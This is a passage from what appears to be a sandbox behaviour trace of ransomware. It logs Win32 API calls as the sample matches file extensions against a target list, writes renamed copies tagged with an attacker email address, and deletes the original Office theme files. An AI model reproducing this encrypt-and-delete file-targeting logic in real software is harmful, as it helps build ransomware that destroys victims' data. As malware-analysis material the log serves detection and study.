Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.960] lstrlenW (lpString=".dbf") returned 4 [0044.960] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.960] lstrlenW (lpString=".1cd") returned 4 [0044.960] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.960] lstrlenW (lpString=".jpg") returned 4 [0044.960] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.960] lstrlenW (lpString=".doc") returned 4 [0044.960] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.960] lstrlenW (lpString=".docx") returned 5 [0044.960] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.961] lstrlenW (lpString=".pdf") returned 4 [0044.961] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.961] lstrlenW (lpString=".xls") returned 4 [0044.961] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.961] lstrlenW (lpString=".xlsx") returned 5 [0044.961] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.961] lstrlenW (lpString=".ppt") returned 4 [0044.961] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.961] lstrlenW (lpString=".zip") returned 4 [0044.961] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.961] lstrlenW (lpString=".rar") returned 4 [0044.961] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.961] lstrlenW (lpString=".bz2") returned 4 [0044.961] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.961] lstrlenW (lpString=".7z") returned 3 [0044.961] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.961] lstrlenW (lpString=".dbf") returned 4 [0044.961] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.961] lstrlenW (lpString=".1cd") returned 4 [0044.961] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0044.961] lstrlenW (lpString=".jpg") returned 4 [0044.961] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.961] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.961] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.962] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3957) returned 1 [0044.962] CloseHandle (hObject=0x1e0) returned 1 [0044.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0044.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.962] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.962] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0044.964] GetLastError () returned 0x0 [0044.964] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xf75, lpOverlapped=0x0) returned 1 [0044.966] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf80, lpOverlapped=0x0) returned 1 [0044.966] ReadFile (in: hFile=0x1e0, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0044.967] WriteFile (in: hFile=0x19c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.967] SetEndOfFile (hFile=0x19c) returned 1 [0044.967] CloseHandle (hObject=0x19c) returned 1 [0044.967] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.967] SetEndOfFile (hFile=0x1e0) returned 1 [0044.968] CloseHandle (hObject=0x1e0) returned 1 [0044.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0044.968] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0044.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.968] lstrlenW (lpString=".doc") returned 4 [0044.968] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.968] lstrlenW (lpString=".docx") returned 5 [0044.968] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.968] lstrlenW (lpString=".pdf") returned 4 [0044.968] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.968] lstrlenW (lpString=".xls") returned 4 [0044.968] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.968] lstrlenW (lpString=".xlsx") returned 5 [0044.968] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.968] lstrlenW (lpString=".ppt") returned 4 [0044.968] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.969] lstrlenW (lpString=".zip") returned 4 [0044.969] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.969] lstrlenW (lpString=".rar") returned 4 [0044.969] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.969] lstrlenW (lpString=".bz2") returned 4 [0044.969] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.969] lstrlenW (lpString=".7z") returned 3 [0044.969] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.969] lstrlenW (lpString=".dbf") returned 4 [0044.969] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.969] lstrlenW (lpString=".1cd") returned 4 [0044.969] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.969] lstrlenW (lpString=".jpg") returned 4 [0044.969] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.969] lstrlenW (lpString=".doc") returned 4 [0044.969] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.969] lstrlenW (lpString=".docx") returned 5 [0044.969] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.969] lstrlenW (lpString=".pdf") returned 4 [0044.969] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.969] lstrlenW (lpString=".xls") returned 4 [0044.969] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.969] lstrlenW (lpString=".xlsx") returned 5 [0044.969] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.969] lstrlenW (lpString=".ppt") returned 4 [0044.969] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.970] lstrlenW (lpString=".zip") returned 4 [0044.970] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.970] lstrlenW (lpString=".rar") returned 4 [0044.970] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.970] lstrlenW (lpString=".bz2") returned 4 [0044.970] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.970] lstrlenW (lpString=".7z") returned 3 [0044.970] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.970] lstrlenW (lpString=".dbf") returned 4 [0044.970] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.970] lstrlenW (lpString=".1cd") returned 4 [0044.970] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0044.970] lstrlenW (lpString=".jpg") returned 4 [0044.970] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.970] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.970] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0044.972] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=33277) returned 1 [0044.972] CloseHandle (hObject=0x220) returned 1 [0044.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0044.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0044.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0044.972] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.972] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0044.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0044.973] GetLastError () returned 0x0 [0044.973] ReadFile (in: hFile=0x220, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x81fd, lpOverlapped=0x0) returned 1 [0045.274] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x8200, lpOverlapped=0x0) returned 1 [0045.275] ReadFile (in: hFile=0x220, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0045.275] WriteFile (in: hFile=0x1e0, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.275] SetEndOfFile (hFile=0x1e0) returned 1 [0045.275] CloseHandle (hObject=0x1e0) returned 1 [0045.276] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.276] SetEndOfFile (hFile=0x220) returned 1 [0045.277] CloseHandle (hObject=0x220) returned 1 [0045.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.277] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 1 [0045.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.277] lstrlenW (lpString=".doc") returned 4 [0045.277] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.277] lstrlenW (lpString=".docx") returned 5 [0045.277] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.277] lstrlenW (lpString=".pdf") returned 4 [0045.277] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.277] lstrlenW (lpString=".xls") returned 4 [0045.277] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.277] lstrlenW (lpString=".xlsx") returned 5 [0045.277] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.277] lstrlenW (lpString=".ppt") returned 4 [0045.278] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.278] lstrlenW (lpString=".zip") returned 4 [0045.278] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.278] lstrlenW (lpString=".rar") returned 4 [0045.278] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.278] lstrlenW (lpString=".bz2") returned 4 [0045.278] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.278] lstrlenW (lpString=".7z") returned 3 [0045.278] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.278] lstrlenW (lpString=".dbf") returned 4 [0045.278] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.278] lstrlenW (lpString=".1cd") returned 4 [0045.278] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.278] lstrlenW (lpString=".jpg") returned 4 [0045.278] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.278] lstrlenW (lpString=".doc") returned 4 [0045.278] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.278] lstrlenW (lpString=".docx") returned 5 [0045.278] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.278] lstrlenW (lpString=".pdf") returned 4 [0045.278] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.278] lstrlenW (lpString=".xls") returned 4 [0045.278] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.278] lstrlenW (lpString=".xlsx") returned 5 [0045.278] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.278] lstrlenW (lpString=".ppt") returned 4 [0045.278] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.279] lstrlenW (lpString=".zip") returned 4 [0045.279] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.279] lstrlenW (lpString=".rar") returned 4 [0045.279] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.279] lstrlenW (lpString=".bz2") returned 4 [0045.279] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.279] lstrlenW (lpString=".7z") returned 3 [0045.279] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.279] lstrlenW (lpString=".dbf") returned 4 [0045.279] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.279] lstrlenW (lpString=".1cd") returned 4 [0045.279] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG") returned 77 [0045.279] lstrlenW (lpString=".jpg") returned 4 [0045.279] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.279] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0045.279] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0045.794] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=25106) returned 1 [0045.799] CloseHandle (hObject=0x220) returned 1 [0045.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 0x20 [0045.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0045.808] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.810] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.816] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.823] GetLastError () returned 0x0 [0045.823] ReadFile (in: hFile=0x21c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x6212, lpOverlapped=0x0) returned 1 [0045.825] WriteFile (in: hFile=0x210, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x6220, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x6220, lpOverlapped=0x0) returned 1 [0045.826] ReadFile (in: hFile=0x21c, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0045.826] WriteFile (in: hFile=0x210, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.826] SetEndOfFile (hFile=0x210) returned 1 [0045.826] CloseHandle (hObject=0x210) returned 1 [0045.826] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0045.826] SetEndOfFile (hFile=0x21c) returned 1 [0045.827] CloseHandle (hObject=0x21c) returned 1 [0045.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0045.827] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png")) returned 1 [0045.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.828] lstrlenW (lpString=".doc") returned 4 [0045.828] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.828] lstrlenW (lpString=".docx") returned 5 [0045.828] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0045.828] lstrlenW (lpString=".pdf") returned 4 [0045.828] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.828] lstrlenW (lpString=".xls") returned 4 [0045.828] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.828] lstrlenW (lpString=".xlsx") returned 5 [0045.828] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0045.828] lstrlenW (lpString=".ppt") returned 4 [0045.828] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG") returned 73 [0045.828] lstrlenW (lpString=".zip") returned 4 [0045.828] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.828] lstrlenW (lpString=".rar") returned 4 [0045.828] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.828] lstrlenW (lpString=".bz2") returned 4 [0045.828] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.828] lstrlenW (lpString=".7z") returned 3 